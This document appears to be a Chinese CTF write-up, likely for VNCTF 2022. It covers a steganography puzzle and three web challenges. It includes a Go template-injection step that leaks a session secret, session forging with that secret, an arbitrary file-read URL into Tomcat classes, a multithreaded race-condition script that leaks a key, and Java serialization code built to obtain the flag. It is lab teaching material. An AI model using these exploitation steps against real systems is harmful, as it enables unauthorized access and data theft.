仔细找找

拿到手的图片是一个冬奥会的图片，但是仔细看后面是有很多色点的

比如这里就可以看出有一个红色像素点组成的一个V

正确的做法是提取非白色像素点，然后再显现出，暂时没有去写脚本，先空着

猜测做法应该是：有子文件夹的为1，没有子文件夹的为0，转成二进制来
但是顺序有点不太对，按顺序调整以后是这个

可以发现第六层这里都是四个四个的，而且排版也是占大多数的，比较有规律，所以只提取第四层的数据试试看
写个python脚本

arr1 = []
arr2 = []
with open("1.txt","r") as file:
    for i in range(596):
        s = file.readline()
        if s.find("N") >= 24:
            arr1.append(s)
    arr1.append("aaa")

for i in range(len(arr1)-1):
    if arr1[i].find("N") ==24:
        num1 = arr1[i].find("N")
        num2 = arr1[i+1].find("N")
        if num2 > num1:
            arr2.append(1)
        else:
            arr2.append(0)

for i in arr2:
    print(i,end="")

得到

011101100110111001100011011101000110011001111011011001000011001000110011001110010011000000110011001110000011011100111001011001000110011000110101001101110011010100110000001100110011100000110111001110010110001001100011011001000110011000110001011001010110011001100011001100010011010000110001011001100110010101111101

解码得到flag

web

GameV4.0

data.js里面找到这么一段

解码就是flag

gocalc0

有一个输入框可以插，计算器，优先考虑是不是ssti，拿个payload去测一下

非预期解

解码出来直接就出了

先用{{.}}去获取一个源码

}

func (e Eval) String() string {

	if err != nil {

		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))

		fmt.Println(err)

		return
	}
	if err := t.Execute(c.Writer, map[string]string{

		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {

	r.GET("/flag", func(c *gin.Context) {

		session.Set("FLAG", os.Getenv("FLAG"))

	})

	r.POST("/", func(c *gin.Context) {

		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}

这里就很明显的泄露了这个store变量：cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
把flag路由给截取出来

package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8888"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

跑起来

把session给带进cookie里面，发包访问flag路由

成功拿到flag

easyJava

注释了file路由，有一个url参数，任意文件读取

直接读取classes目录

file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes

把servlet目录的东西弄出来

再看util的
有个很明显的Secr3t.class

//

package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

先看到hello的代码，看这里的判断条件，要满足这个条件，就会给出flag

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

首先是要得到Secr3t.getKey()，这个key是由这个得到的

private static final String Key = RandomStringUtils.randomAlphanumeric(32);

然后再反序列化text的数据

User u = (User)SerAndDe.deserialize(textByte);

所以我们的第一步就是先拿到key，而获取key的方法在这里

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

要满足if (Secr3t.check(this.name))，但是这里的两个判断是矛盾的，如果我们要进入第二个判断，那么就要进行条件竞争

再看看check方法

public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }

所以我们可以写出如下脚本（不知道为啥我的多线程没跑出来，用了一下网上师傅们的脚本）

# -*- coding: UTF-8 -*-
import requests
import threading
host = "xxxx"``

class myThread (threading.Thread):
    def __init__(self, name):
        threading.Thread.__init__(self)
        self.name = name
    def run(self):
        print ("开始线程：" + self.name)
        runing(self.name)
        print ("退出线程：" + self.name)

def runing(name):
	while True:
	 r = requests.get(host+"/evi1?name=%s" % name)
	 r.encoding = "utf-8"
	 if r.text.find("The Key is")!=-1:
	 	print(r.text)
	 	return 0

# 创建新线程
thread1 = myThread("asdqwer")
thread2 = myThread("vnctf2022")

# 开启新线程
thread1.start()
thread2.start()
thread1.join()
thread2.join()

The Key is IzaQ5XP4gXTB6ezLn1EpEImMM10icEPm

再构造序列化对象


import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import util.SerAndDe;

public class Ser {
    public static void main(String[] args) throws IOException {
        User user = new User("m4n_q1u_666","666","180");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(user);

        byte[] ser = bos.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String encodedText = encoder.encodeToString(ser);
        System.out.println(encodedText);
        User user2 = (User) SerAndDe.deserialize(ser);
        System.out.println(user2);
    }
}

User里面写好writeObject

  private void writeObject(java.io.ObjectOutputStream out) throws IOException {
    out.defaultWriteObject();
    out.writeObject(this.height);
  }

发包拿到flag
